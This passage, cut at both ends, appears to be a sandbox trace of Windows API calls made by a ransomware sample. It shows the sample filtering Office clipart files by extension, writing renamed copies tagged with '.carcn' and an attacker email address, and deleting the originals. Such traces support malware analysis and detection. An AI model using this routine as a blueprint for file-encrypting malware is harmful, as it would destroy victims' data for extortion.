Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.081] lstrlenW (lpString=".dbf") returned 4 [0295.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.081] lstrlenW (lpString=".1cd") returned 4 [0295.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.081] lstrlenW (lpString=".jpg") returned 4 [0295.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.081] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.081] lstrlenW (lpString="AN04326_.WMF") returned 12 [0295.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.082] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3348) returned 1 [0295.082] CloseHandle (hObject=0x364) returned 1 [0295.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0295.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.082] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.082] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.083] GetLastError () returned 0x0 [0295.083] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xd14, lpOverlapped=0x0) returned 1 [0295.084] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xd20, lpOverlapped=0x0) returned 1 [0295.085] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.085] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.086] SetEndOfFile (hFile=0x340) returned 1 [0295.086] CloseHandle (hObject=0x340) returned 1 [0295.086] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.086] SetEndOfFile (hFile=0x364) returned 1 [0295.135] CloseHandle (hObject=0x364) returned 1 [0295.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0295.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.136] lstrlenW (lpString=".doc") returned 4 [0295.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.136] lstrlenW (lpString=".docx") returned 5 [0295.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.137] lstrlenW (lpString=".pdf") returned 4 [0295.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString=".xls") returned 4 [0295.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.137] lstrlenW (lpString=".xlsx") returned 5 [0295.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.137] lstrlenW (lpString=".ppt") returned 4 [0295.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.137] lstrlenW (lpString=".zip") returned 4 [0295.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.137] lstrlenW (lpString=".rar") returned 4 [0295.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString=".bz2") returned 4 [0295.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString=".7z") returned 3 [0295.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.137] lstrlenW (lpString=".dbf") returned 4 [0295.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.137] lstrlenW (lpString=".1cd") returned 4 [0295.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.137] lstrlenW (lpString=".jpg") returned 4 [0295.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.138] lstrlenW (lpString=".doc") returned 4 [0295.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString=".docx") returned 5 [0295.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.138] lstrlenW (lpString=".pdf") returned 4 [0295.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString=".xls") returned 4 [0295.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.138] lstrlenW (lpString=".xlsx") returned 5 [0295.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.138] lstrlenW (lpString=".ppt") returned 4 [0295.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.138] lstrlenW (lpString=".zip") returned 4 [0295.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.138] lstrlenW (lpString=".rar") returned 4 [0295.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString=".bz2") returned 4 [0295.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString=".7z") returned 3 [0295.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.138] lstrlenW (lpString=".dbf") returned 4 [0295.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.138] lstrlenW (lpString=".1cd") returned 4 [0295.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0295.138] lstrlenW (lpString=".jpg") returned 4 [0295.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.139] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.139] lstrlenW (lpString="AN04332_.WMF") returned 12 [0295.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.139] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4296) returned 1 [0295.139] CloseHandle (hObject=0x364) returned 1 [0295.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0295.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.140] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.140] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.140] GetLastError () returned 0x0 [0295.140] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0295.142] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0295.143] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.143] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.143] SetEndOfFile (hFile=0x340) returned 1 [0295.143] CloseHandle (hObject=0x340) returned 1 [0295.143] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.143] SetEndOfFile (hFile=0x364) returned 1 [0295.144] CloseHandle (hObject=0x364) returned 1 [0295.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0295.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.145] lstrlenW (lpString=".doc") returned 4 [0295.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.145] lstrlenW (lpString=".docx") returned 5 [0295.146] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.146] lstrlenW (lpString=".pdf") returned 4 [0295.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString=".xls") returned 4 [0295.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.146] lstrlenW (lpString=".xlsx") returned 5 [0295.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.146] lstrlenW (lpString=".ppt") returned 4 [0295.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.146] lstrlenW (lpString=".zip") returned 4 [0295.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.146] lstrlenW (lpString=".rar") returned 4 [0295.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString=".bz2") returned 4 [0295.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString=".7z") returned 3 [0295.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.146] lstrlenW (lpString=".dbf") returned 4 [0295.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.146] lstrlenW (lpString=".1cd") returned 4 [0295.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.146] lstrlenW (lpString=".jpg") returned 4 [0295.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.147] lstrlenW (lpString=".doc") returned 4 [0295.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".docx") returned 5 [0295.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.147] lstrlenW (lpString=".pdf") returned 4 [0295.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".xls") returned 4 [0295.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.147] lstrlenW (lpString=".xlsx") returned 5 [0295.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.147] lstrlenW (lpString=".ppt") returned 4 [0295.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.147] lstrlenW (lpString=".zip") returned 4 [0295.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.147] lstrlenW (lpString=".rar") returned 4 [0295.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".bz2") returned 4 [0295.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".7z") returned 3 [0295.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.147] lstrlenW (lpString=".dbf") returned 4 [0295.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.147] lstrlenW (lpString=".1cd") returned 4 [0295.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0295.148] lstrlenW (lpString=".jpg") returned 4 [0295.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.148] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.148] lstrlenW (lpString="AN04355_.WMF") returned 12 [0295.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.148] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3228) returned 1 [0295.148] CloseHandle (hObject=0x364) returned 1 [0295.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0295.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.149] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.149] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.637] GetLastError () returned 0x0 [0295.637] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0295.638] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xca0, lpOverlapped=0x0) returned 1 [0295.640] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.640] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.640] SetEndOfFile (hFile=0x340) returned 1 [0295.640] CloseHandle (hObject=0x340) returned 1 [0295.640] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.641] SetEndOfFile (hFile=0x364) returned 1 [0295.641] CloseHandle (hObject=0x364) returned 1 [0295.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString=".doc") returned 4 [0295.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString=".docx") returned 5 [0295.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.643] lstrlenW (lpString=".pdf") returned 4 [0295.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString=".xls") returned 4 [0295.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.643] lstrlenW (lpString=".xlsx") returned 5 [0295.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.643] lstrlenW (lpString=".ppt") returned 4 [0295.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString=".zip") returned 4 [0295.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.643] lstrlenW (lpString=".rar") returned 4 [0295.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString=".bz2") returned 4 [0295.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString=".7z") returned 3 [0295.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString=".dbf") returned 4 [0295.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString=".1cd") returned 4 [0295.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString=".jpg") returned 4 [0295.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.643] lstrlenW (lpString=".doc") returned 4 [0295.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.643] lstrlenW (lpString=".docx") returned 5 [0295.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.644] lstrlenW (lpString=".pdf") returned 4 [0295.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.644] lstrlenW (lpString=".xls") returned 4 [0295.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.644] lstrlenW (lpString=".xlsx") returned 5 [0295.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.644] lstrlenW (lpString=".ppt") returned 4 [0295.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.644] lstrlenW (lpString=".zip") returned 4 [0295.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.644] lstrlenW (lpString=".rar") returned 4 [0295.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.644] lstrlenW (lpString=".bz2") returned 4 [0295.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.644] lstrlenW (lpString=".7z") returned 3 [0295.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.644] lstrlenW (lpString=".dbf") returned 4 [0295.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.644] lstrlenW (lpString=".1cd") returned 4 [0295.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.644] lstrlenW (lpString="C:\\Program Files\\Microsoft 